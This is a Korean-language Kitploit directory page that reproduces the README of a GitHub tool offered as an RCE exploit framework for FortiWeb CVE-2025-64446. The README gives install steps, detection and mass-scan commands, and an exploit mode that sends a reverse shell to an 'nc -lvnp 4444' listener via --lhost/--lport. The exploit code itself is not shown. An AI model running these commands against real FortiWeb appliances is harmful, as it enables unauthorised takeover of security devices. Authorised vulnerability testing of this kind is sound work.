Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
FortiWeb-cve-2025-64446-RCE-exploit — FortiWeb CVE-2025-64446 취약점을 위한 보안 연구 도구입니다. 고급 로깅, 실시간 메트릭, 프록시 디버깅 및 전문 보고 기능을 갖춘 자동화된 악용 프레임워크입니다. 재시도 로직, 다중 스레딩 및 구성 가능한 설정이 포함됩니다. 승인된 보안 테스트에만 사용하십시오. CVSS 9.8 치명적. | Kitploit
도구/GitHubGitHub/cerberusmrxi/fortiweb-cve-2025-64446-rce-exploit
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubcerberusmrxi/fortiweb-cve-2025-64446-rce-exploit

FortiWeb-cve-2025-64446-RCE-exploit

FortiWeb CVE-2025-64446 취약점을 위한 보안 연구 도구입니다. 고급 로깅, 실시간 메트릭, 프록시 디버깅 및 전문 보고 기능을 갖춘 자동화된 악용 프레임워크입니다. 재시도 로직, 다중 스레딩 및 구성 가능한 설정이 포함됩니다. 승인된 보안 테스트에만 사용하십시오. CVSS 9.8 치명적.

저장소 보기
142개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

FortiWeb CVE-2025-64446 RCE 익스플로잇

Python License CVSS CVE Status Version

전문 보안 연구 및 취약점 평가 프레임워크

설치 · 빠른 시작 · 사용법 · 아키텍처 · CLI 참조 · 고지


개요

FortiWeb Research Tool은 FortiWeb 웹 애플리케이션 방화벽 어플라이언스에 영향을 주는 치명적인 사전 인증 원격 코드 실행 문제인 CVE-2025-64446에 대한 승인된 탐지 및 분석을 위한 Python 평가 프레임워크입니다.

속성내용
작성자Sudeepa Wanigarathna
CVECVE-2025-64446
CVSS9.8 (치명적)
분류인증 우회 + 경로 탐색 → 임의 파일 업로드 → RCE
영향 범위7.6.7 / 7.8.7 / 8.0.2 이전 빌드 (공식 권고문에서 확인)
해결 방법패치된 FortiWeb 릴리스로 업그레이드
언어Python 3.7+
진입점exploit.py

주요 기능

모드플래그용도
탐지--detect-only비공격적 취약점 지표
안전 / 읽기 전용--safe-mode변형형 익스플로잇 단계 건너뛰기
대량 스캔--targets + --scan-mode병렬 다중 대상 평가
익스플로잇--target + --lhost승인된 실험실에서만 통제된 체인 실행
드라이 런--dry-run변경 사항을 적용하지 않고 흐름 실행
리포팅--output-dirJSON + HTML 진단 보고서

취약점 요약

필드값
CVE IDCVE-2025-64446
CVSS 점수9.8 (치명적)
영향성공적으로 악용될 경우 전체 시스템 장악
수정7.6.7, 7.8.7, 8.0.2 이상으로 업그레이드

항상 진단 범위를 설정하기 전에 Fortinet PSIRT에서 영향/수정 버전을 확인하세요.


📸 스크린샷

사용법스캔 결과
대시보드스캔 결과
HTML 출력
터미널 출력

설치

git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit

python3 -m venv venv
source venv/bin/activate          # Linux / macOS
# venv\Scripts\activate           # Windows

pip install -r requirements.txt
python3 exploit.py --help

의존성

패키지역할
requests, urllib3HTTP 클라이언트
rich, colorama, tqdm터미널 UI 및 진행률
pyyamlconfig.yaml 로딩

선택(개발용): pytest, black, flake8, mypy, python-dotenv — requirements.txt 참조.


빠른 시작

# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only

# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode

# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10

# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444

참고: 익스플로잇 모드에는 --lhost가 필요합니다. 전체 체인을 실행하지 않을 경우 --detect-only 또는 --safe-mode를 사용하세요.


사용 가이드

탐지 모드

python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30

탐지 모드는 연결 가능성, 버전 힌트, API 노출, 경로 탐색 지표, 인증 우회 신호 및 업로드 엔드포인트 접근성을 평가합니다. 이러한 지표를 기반으로 위험도는 치명적 / 높음 / 중간 / 낮음으로 분류됩니다.

대량 스캔

cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF

python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports

ScannerManager는 스레드 풀을 통해 FortiWebScanner 워커를 실행하고, Rich 요약 테이블을 출력하며, scan_report.json / scan_report.html을 작성합니다.

익스플로잇 모드 (승인된 실험실 전용)

# Start your listener first (example)
nc -lvnp 4444

python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"

구성 파일

# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999

CLI 플래그가 YAML에서 로드된 값을 덮어씁니다.


아키텍처

exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics   # dataclasses
├── LogManager                                       # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay                           # Rich / colorama UI
├── FortiWebScanner                                  # detect-only checks (no exploit chain)
├── ScannerManager                                   # threaded multi-target scans + reports
├── FortiWebExploit                                  # single-target detect / exploit workflow
└── main()                                           # argparse + mode dispatch
구성 요소역할
FortiWebScanner연결 가능성, 버전, CVE 지표 확인
ScannerManager병렬 스캔, JSON/HTML 집계, 요약 테이블
FortiWebExploit구성 기반 세션, 재시도, 메트릭, 보고서, 선택적 익스플로잇 경로
LogManager구조화된 파일 로깅 + 색상 콘솔

단일 대상의 상위 수준 흐름:

  1. 배너 / 로깅 설정
  2. 연결 가능성 및 버전 프로브
  3. 지표 확인 (탐지/안전 모드가 아닐 경우 전체 체인)
  4. reports/ 아래에 JSON + HTML 보고서
  5. 해당 시 정리

기능

탐지

  • 관리 API 경로에 대한 경로 탐색 지표 확인
  • 인증 우회 신호 확인
  • 일반적인 상태/버전 엔드포인트를 통한 FortiWeb 버전 프로빙
  • API 엔드포인트 노출 매핑
  • 파일 업로드 엔드포인트 접근성 확인
  • 결합된 지표 기반 위험 점수 산정

리포팅 및 관측성

  • 타임스탬프가 포함된 JSON 및 HTML 보고서
  • 요청별 메트릭 (상태, 지연 시간, 성공률)
  • 별도 로그: exploit.log, errors.log, requests.log

운영 제어

  • 멀티스레드 대량 스캔 (--threads)
  • HTTP/HTTPS 프록시 지원 (예: Burp)
  • 구성 가능한 시도 횟수/지연으로 재시도 (기본값: 3회 / 2초)
  • 사용자 지정 User-Agent, 타임아웃, SSL 검증 토글 (--no-verify)
  • Colorama + Rich 기반 색상 콘솔 출력

생성되는 출력

reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html

logs/
├── exploit.log
├── errors.log
└── requests.log

샘플 JSON 보고서 (탐지)

{
  "metadata": {
    "tool_name": "FortiWeb Research Tool",
    "version": "1.0",
    "author": "Sudeepa Wanigarathna",
    "timestamp": "2026-07-31T00:02:17",
    "mode": "detect"
  },
  "target": {
    "url": "https://192.168.1.100:8443",
    "reachable": true,
    "version": "7.6.0",
    "vulnerable": true,
    "risk_level": "Critical"
  },
  "metrics": {
    "total_requests": 12,
    "average_response_time": 0.42,
    "success_rate": 0.91
  }
}

명령어 참조

python3 exploit.py [OPTIONS]
도구 다운로드